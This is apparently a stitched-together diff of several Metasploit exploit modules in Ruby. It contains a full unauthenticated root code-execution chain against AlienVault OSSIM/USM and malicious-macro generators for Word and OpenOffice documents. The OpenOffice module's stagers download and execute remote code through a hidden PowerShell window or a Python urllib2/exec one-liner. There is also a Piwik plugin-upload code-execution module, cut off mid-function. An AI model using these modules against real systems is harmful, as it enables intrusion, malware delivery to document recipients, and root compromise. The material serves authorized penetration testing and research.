# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::SSH
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "AlienVault OSSIM/USM Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.
|
||||
Unauthenticated users can execute arbitrary commands under the context of the root user.
|
||||
|
||||
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
|
||||
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
|
||||
action and policy that enables to execute operating system commands by using captured session token. As a final step,
|
||||
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
|
||||
operating system command with root user privileges.
|
||||
|
||||
This module was tested against following product and versions:
|
||||
AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
|
||||
AlienVault OSSIM 5.0.0, 4.6.1
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Peter Lapp', # EDB advisory owner
|
||||
'Mehmet Ince <mehmet@mehmetince.net>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
|
||||
['EDB', '40682']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'WfsDelay' => 10,
|
||||
'Payload' => 'python/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Platform' => ['python'],
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Targets' =>
|
||||
[
|
||||
['Alienvault USM/OSSIM <= 5.3.0', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Jan 31 2017",
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
r = rand_text_alpha(15)
|
||||
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
|
||||
'headers' => {
|
||||
'User-Agent' => 'AV Report Scheduler',
|
||||
},
|
||||
'vars_get' => {
|
||||
'type' => 'alarm',
|
||||
'wtype' => 'foo',
|
||||
'asset' => 'ALL_ASSETS',
|
||||
'height' => 1,
|
||||
'value' => p
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
|
||||
print_status("Hijacking administrator session")
|
||||
|
||||
sql = "SELECT id FROM sessions LIMIT 1"
|
||||
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
'User-Agent' => 'AV Report Scheduler',
|
||||
},
|
||||
'vars_get' => {
|
||||
'type' => 'alarm',
|
||||
'wtype' => 'foo',
|
||||
'asset' => 'ALL_ASSETS',
|
||||
'height' => 1,
|
||||
'value' => p
|
||||
}
|
||||
})
|
||||
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
|
||||
admin_session = $1
|
||||
cookie = "PHPSESSID=#{admin_session}"
|
||||
print_good("Admin session token : #{cookie}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
|
||||
end
|
||||
|
||||
# Creating a Action that contains payload.
|
||||
print_status("Creating rogue action")
|
||||
r = rand_text_alpha(15)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_post' => {
|
||||
'id' => '',
|
||||
'action' => 'new',
|
||||
'old_name' => '',
|
||||
'action_name' => r,
|
||||
'ctx' => '',
|
||||
'old_descr' => '',
|
||||
'descr' => r,
|
||||
'action_type' => '2',
|
||||
'only' => 'on',
|
||||
'cond' => 'True',
|
||||
'email_from' => '',
|
||||
'email_to' => 'email;email;email',
|
||||
'email_subject' => '',
|
||||
'email_message' => '',
|
||||
'transferred_user' => '',
|
||||
'transferred_entity' => '',
|
||||
'exec_command' => "python -c \"#{payload.encoded}\""
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.include?("Action successfully updated")
|
||||
print_good("Action created: #{r}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to create action")
|
||||
end
|
||||
|
||||
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
|
||||
# Thus we're using hijacked administrator session.
|
||||
print_status("Retrieving rogue action id")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_get' => {
|
||||
'page' => '1',
|
||||
'rp' => '2000'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
|
||||
action_id = $1
|
||||
print_good("Corresponding Action ID found: #{action_id}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to retrieve action id")
|
||||
end
|
||||
|
||||
# Retrieving the policy data. We will use it while creating policy
|
||||
print_status("Retrieving policy ctx and group values")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_get' => {
|
||||
'm_opt' => 'configuration',
|
||||
'sm_opt' => 'threat_intelligence',
|
||||
'h_opt' => 'policy'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
|
||||
policy_ctx = $1
|
||||
policy_group = $2
|
||||
print_good("CTX Value found: #{policy_ctx}")
|
||||
print_good("GROUP Value found: #{policy_group}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to retrieve policy data")
|
||||
end
|
||||
|
||||
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.
|
||||
print_status("Creating a policy that uses our rogue action")
|
||||
policy = rand_text_alpha(15)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_post' => {
|
||||
'descr' => policy,
|
||||
'active' => '1',
|
||||
'group' => policy_group,
|
||||
'ctx' => policy_ctx,
|
||||
'order' => '1',
|
||||
'action' => 'new',
|
||||
'sources[]' => '00000000000000000000000000000000',
|
||||
'dests[]' => '00000000000000000000000000000000',
|
||||
'portsrc[]' => '0',
|
||||
'portdst[]' => '0',
|
||||
'plug_type' => '1',
|
||||
'plugins[0]' => 'on',
|
||||
'taxfilters[]' =>'25@2@0',
|
||||
'tax_pt' => '0',
|
||||
'tax_cat' => '0',
|
||||
'tax_subc' => '0',
|
||||
'mboxs[]' => '00000000000000000000000000000000',
|
||||
'rep_act' => '0',
|
||||
'rep_sev' => '1',
|
||||
'rep_rel' => '1',
|
||||
'rep_dir' => '0',
|
||||
'ev_sev' => '1',
|
||||
'ev_rel' => '1',
|
||||
'tzone' => 'Europe/Istanbul',
|
||||
'date_type' => '1',
|
||||
'begin_hour' => '0',
|
||||
'begin_minute' => '0',
|
||||
'begin_day_week' => '1',
|
||||
'begin_day_month' => '1',
|
||||
'begin_month' => '1',
|
||||
'end_hour' => '23',
|
||||
'end_minute' => '59',
|
||||
'end_day_week' => '7',
|
||||
'end_day_month' => '31',
|
||||
'end_month' => '12',
|
||||
'actions[]' => action_id,
|
||||
'sim' => '1',
|
||||
'priority' => '1',
|
||||
'qualify' => '1',
|
||||
'correlate' => '0',
|
||||
'cross_correlate' => '0',
|
||||
'store' => '0'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("Policy created: #{policy}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to create policy id")
|
||||
end
|
||||
|
||||
# We gotta reload all policies in order to make our rogue one enabled.
|
||||
print_status("Activating the policy")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_get' => {
|
||||
'what' => 'policies',
|
||||
'back' => '../policy/policy.php'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("Rogue policy activated")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
|
||||
end
|
||||
|
||||
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
|
||||
factory = ssh_socket_factory
|
||||
opts = {
|
||||
auth_methods: ['password'],
|
||||
port: 22,
|
||||
use_agent: false,
|
||||
config: false,
|
||||
password: rand_text_alpha(15),
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
}
|
||||
|
||||
print_status("Triggering the policy by performing SSH login attempt")
|
||||
|
||||
begin
|
||||
Net::SSH.start(rhost, "root", opts)
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error("SSH Error: #{e.class} : #{e.message}")
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,122 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Microsoft Office Word Malicious Macro Execution",
|
||||
'Description' => %q{
|
||||
This module generates a macro-enabled Microsoft Office Word document. The comments
|
||||
metadata in the data is injected with a Base64 encoded payload, which will be
|
||||
decoded by the macro and execute as a Windows executable.
|
||||
|
||||
For a successful attack, the victim is required to manually enable macro execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Microsoft Office Word on Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
}
|
||||
],
|
||||
[
|
||||
'Microsoft Office Word on Mac OS X (Python)',
|
||||
{
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jan 10 2012"
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("BODY", [false, 'The message for the document body',
|
||||
'Contents of this document are protected. Please click Enable Content to continue.'
|
||||
]),
|
||||
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def on_file_read(short_fname, full_fname)
|
||||
buf = File.read(full_fname)
|
||||
|
||||
case short_fname
|
||||
when /document\.xml/
|
||||
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
|
||||
when /core\.xml/
|
||||
p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe
|
||||
b64_payload = ' ' * 55
|
||||
b64_payload << Rex::Text.encode_base64(p)
|
||||
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
|
||||
end
|
||||
|
||||
# The original filename of __rels is actually ".rels".
|
||||
# But for some reason if that's our original filename, it won't be included
|
||||
# in the archive. So this hacks around that.
|
||||
case short_fname
|
||||
when /__rels/
|
||||
short_fname.gsub!(/\_\_rels/, '.rels')
|
||||
end
|
||||
|
||||
yield short_fname, buf
|
||||
end
|
||||
|
||||
|
||||
def package_docm(path)
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
Dir["#{path}/**/**"].each do |file|
|
||||
p = file.sub(path+'/','')
|
||||
|
||||
if File.directory?(file)
|
||||
print_status("Packaging directory: #{file}")
|
||||
zip.add_file(p)
|
||||
else
|
||||
on_file_read(p, file) do |fname, buf|
|
||||
print_status("Packaging file: #{fname}")
|
||||
zip.add_file(fname, buf)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
print_status('Generating our docm file...')
|
||||
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
|
||||
docm = package_docm(path)
|
||||
file_create(docm)
|
||||
super
|
||||
end
|
||||
|
||||
end
|
|
@ -114,6 +114,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
create_arg("-d",'disable_functions=""'),
|
||||
create_arg("-d","open_basedir=none"),
|
||||
create_arg("-d","auto_prepend_file=php://input"),
|
||||
create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"),
|
||||
create_arg("-d", "cgi.redirect_status_env=0"),
|
||||
create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"),
|
||||
rand_opt_equiv("-n")
|
||||
]
|
||||
|
||||
|
|
|
@ -419,7 +419,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_type: :password,
|
||||
private_data: datastore['HttpPassword'].downcase,
|
||||
private_data: datastore['HttpPassword'],
|
||||
username: datastore['HttpUsername']
|
||||
}
|
||||
|
||||
|
|
|
@ -41,6 +41,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
"Arch" => ARCH_ARMLE,
|
||||
"References" =>
|
||||
[
|
||||
[ "CVE", "2016-10225" ],
|
||||
[ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
|
||||
[ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \
|
||||
"https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
|
||||
|
|
|
@ -0,0 +1,214 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
require 'cgi'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
WINDOWSGUI = 'windows'
|
||||
OSXGUI = 'osx'
|
||||
LINUXGUI = 'linux'
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",
|
||||
'Description' => %q{
|
||||
This module generates an Apache OpenOffice Text Document with a malicious macro in it.
|
||||
To exploit successfully, the targeted user must adjust the security level in Macro
|
||||
Security to either Medium or Low. If set to Medium, a prompt is presented to the user
|
||||
to enable or disable the macro. If set to Low, the macro can automatically run without
|
||||
any warning.
|
||||
|
||||
The module also works against LibreOffice.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'DisablePayloadHandler' => false
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Apache OpenOffice on Windows (PSH)', {
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64]
|
||||
}],
|
||||
[
|
||||
'Apache OpenOffice on Linux/OSX (Python)', {
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON
|
||||
}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 8 2017"
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("BODY", [false, 'The message for the document body', '']),
|
||||
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
print_status("Sending payload")
|
||||
|
||||
if target.name =~ /PSH/
|
||||
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
|
||||
else
|
||||
p = payload.encoded
|
||||
end
|
||||
|
||||
send_response(cli, p, 'Content-Type' => 'application/octet-stream')
|
||||
end
|
||||
|
||||
|
||||
def primer
|
||||
print_status("Generating our odt file for #{target.name}...")
|
||||
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')
|
||||
docm = package_odt(path)
|
||||
file_create(docm)
|
||||
end
|
||||
|
||||
|
||||
def get_windows_stager
|
||||
%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|
|
||||
end
|
||||
|
||||
|
||||
def get_unix_stager
|
||||
%Q|Shell("#{generate_python_stager}")|
|
||||
end
|
||||
|
||||
|
||||
def generate_psh_stager
|
||||
@windows_psh_stager ||= lambda {
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
generate_psh_command_line(
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
command: download_and_run)
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
def generate_python_stager
|
||||
@python_stager ||= lambda {
|
||||
%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
def get_statger
|
||||
case target.name
|
||||
when /PSH/
|
||||
get_windows_stager
|
||||
when /Python/
|
||||
get_unix_stager
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# This macro code has the following in mind:
|
||||
# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,
|
||||
# we only want to fire at those.
|
||||
# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.
|
||||
# This turned out to be problematic, because for some reason OpenOffice is not able to
|
||||
# write a large string to a file (I've tried either shell("echo") or using the macro API).
|
||||
# The stager code is similar to web_delivery.
|
||||
def macro_code
|
||||
CGI.escapeHTML(%Q|
|
||||
Sub OnLoad
|
||||
Dim os as string
|
||||
os = GetOS
|
||||
If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then
|
||||
Exploit
|
||||
end If
|
||||
End Sub
|
||||
|
||||
Sub Exploit
|
||||
#{get_statger}
|
||||
End Sub
|
||||
|
||||
Function GetOS() as string
|
||||
select case getGUIType
|
||||
case 1:
|
||||
GetOS = "#{WINDOWSGUI}"
|
||||
case 3:
|
||||
GetOS = "#{OSXGUI}"
|
||||
case 4:
|
||||
GetOS = "#{LINUXGUI}"
|
||||
end select
|
||||
End Function
|
||||
|
||||
Function GetExtName() as string
|
||||
select case GetOS
|
||||
case "#{WINDOWSGUI}"
|
||||
GetFileName = "exe"
|
||||
case else
|
||||
GetFileName = "bin"
|
||||
end select
|
||||
End Function
|
||||
|)
|
||||
end
|
||||
|
||||
def on_file_read(short_fname, full_fname)
|
||||
buf = File.read(full_fname)
|
||||
|
||||
case short_fname
|
||||
when /content\.xml/
|
||||
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
|
||||
when /Module1\.xml/
|
||||
buf.gsub!(/CODEGOESHERE/, macro_code)
|
||||
end
|
||||
|
||||
yield short_fname, buf
|
||||
end
|
||||
|
||||
|
||||
def package_odt(path)
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
Dir["#{path}/**/**"].each do |file|
|
||||
p = file.sub(path+'/','')
|
||||
|
||||
if File.directory?(file)
|
||||
print_status("Packaging directory: #{file}")
|
||||
zip.add_file(p)
|
||||
else
|
||||
on_file_read(p, file) do |fname, buf|
|
||||
print_status("Packaging file: #{fname}")
|
||||
zip.add_file(fname, buf)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
super
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,365 @@
|
|||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Piwik Superuser Plugin Upload',
|
||||
'Description' => %q{
|
||||
This module will generate a plugin, pack the payload into it
|
||||
and upload it to a server running Piwik. Superuser Credentials are
|
||||
required to run this module. This module does not work against Piwik 1
|
||||
as there is no option to upload custom plugins.
|
||||
Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'FireFart' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 05 2017',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Piwik', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']),
|
||||
OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def normalized_index
|
||||
normalize_uri(target_uri, 'index.php')
|
||||
end
|
||||
|
||||
def get_piwik_version(login_cookies)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => login_cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'Feedback',
|
||||
'action' => 'index',
|
||||
'idSite' => '1',
|
||||
'period' => 'day',
|
||||
'date' => 'yesterday'
|
||||
}
|
||||
})
|
||||
|
||||
piwik_version_regexes = [
|
||||
/<title>About Piwik ([\w\.]+) -/,
|
||||
/content-title="About Piwik ([\w\.]+)"/,
|
||||
/<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m
|
||||
]
|
||||
|
||||
if res && res.code == 200
|
||||
for r in piwik_version_regexes
|
||||
match = res.body.match(r)
|
||||
if match
|
||||
return match[1]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# check for Piwik version 1
|
||||
# the logo.svg is only available in version 1
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg')
|
||||
})
|
||||
if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/
|
||||
return "1.x"
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def is_superuser?(login_cookies)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => login_cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'Installation',
|
||||
'action' => 'systemCheckPage'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/
|
||||
return false
|
||||
elsif res && res.body =~ /id="systemCheckRequired"/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def generate_plugin(plugin_name)
|
||||
plugin_json = %Q|{
|
||||
"name": "#{plugin_name}",
|
||||
"description": "#{plugin_name}",
|
||||
"version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}",
|
||||
"theme": false
|
||||
}|
|
||||
|
||||
plugin_script = %Q|<?php
|
||||
namespace Piwik\\Plugins\\#{plugin_name};
|
||||
class #{plugin_name} extends \\Piwik\\Plugin {
|
||||
public function install()
|
||||
{
|
||||
#{payload.encoded}
|
||||
}
|
||||
}
|
||||
|
|
||||
|
||||
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
|
||||
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
|
||||
zip.add_file("#{plugin_name}/plugin.json", plugin_json)
|
||||
zip.pack
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Trying to detect if target is running a supported version of piwik')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index
|
||||
})
|
||||
if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/
|
||||
print_good('Detected Piwik installation')
|
||||
else
|
||||
fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik')
|
||||
end
|
||||
|
||||
print_status("Authenticating with Piwik using #{username}:#{password}...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'vars_get' => {
|
||||
'module' => 'Login',
|
||||
'action' => 'index'
|
||||
}
|
||||
})
|
||||
|
||||
login_nonce = nil
|
||||
if res && res.code == 200
|
||||
match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/)
|
||||
if match
|
||||
login_nonce = match[1]
|
||||
end
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil?
|
||||
|
||||
cookies = res.get_cookies
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'Login',
|
||||
'action' => 'index'
|
||||
},
|
||||
'vars_post' => {
|
||||
'form_login' => "#{username}",
|
||||
'form_password' => "#{password}",
|
||||
'form_nonce' => "#{login_nonce}"
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.redirect? && res.redirection
|
||||
# update cookies
|
||||
cookies = res.get_cookies
|
||||
else
|
||||
# failed login responds with code 200 and renders the login form
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik')
|
||||
end
|
||||
print_good('Authenticated with Piwik')
|
||||
|
||||
print_status("Checking if user #{username} has superuser access")
|
||||
superuser = is_superuser?(cookies)
|
||||
if superuser
|
||||
print_good("User #{username} has superuser access")
|
||||
else
|
||||
fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access")
|
||||
end
|
||||
|
||||
print_status('Trying to get Piwik version')
|
||||
piwik_version = get_piwik_version(cookies)
|
||||
if piwik_version.nil?
|
||||
print_warning('Unable to detect Piwik version. Trying to continue.')
|
||||
else
|
||||
print_good("Detected Piwik version #{piwik_version}")
|
||||
end
|
||||
|
||||
if piwik_version == '1.x'
|
||||
fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module')
|
||||
end
|
||||
|
||||
# Only versions after 3 have a seperate Marketplace plugin
|
||||
if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3')
|
||||
marketplace_available = true
|
||||
else
|
||||
marketplace_available = false
|
||||
end
|
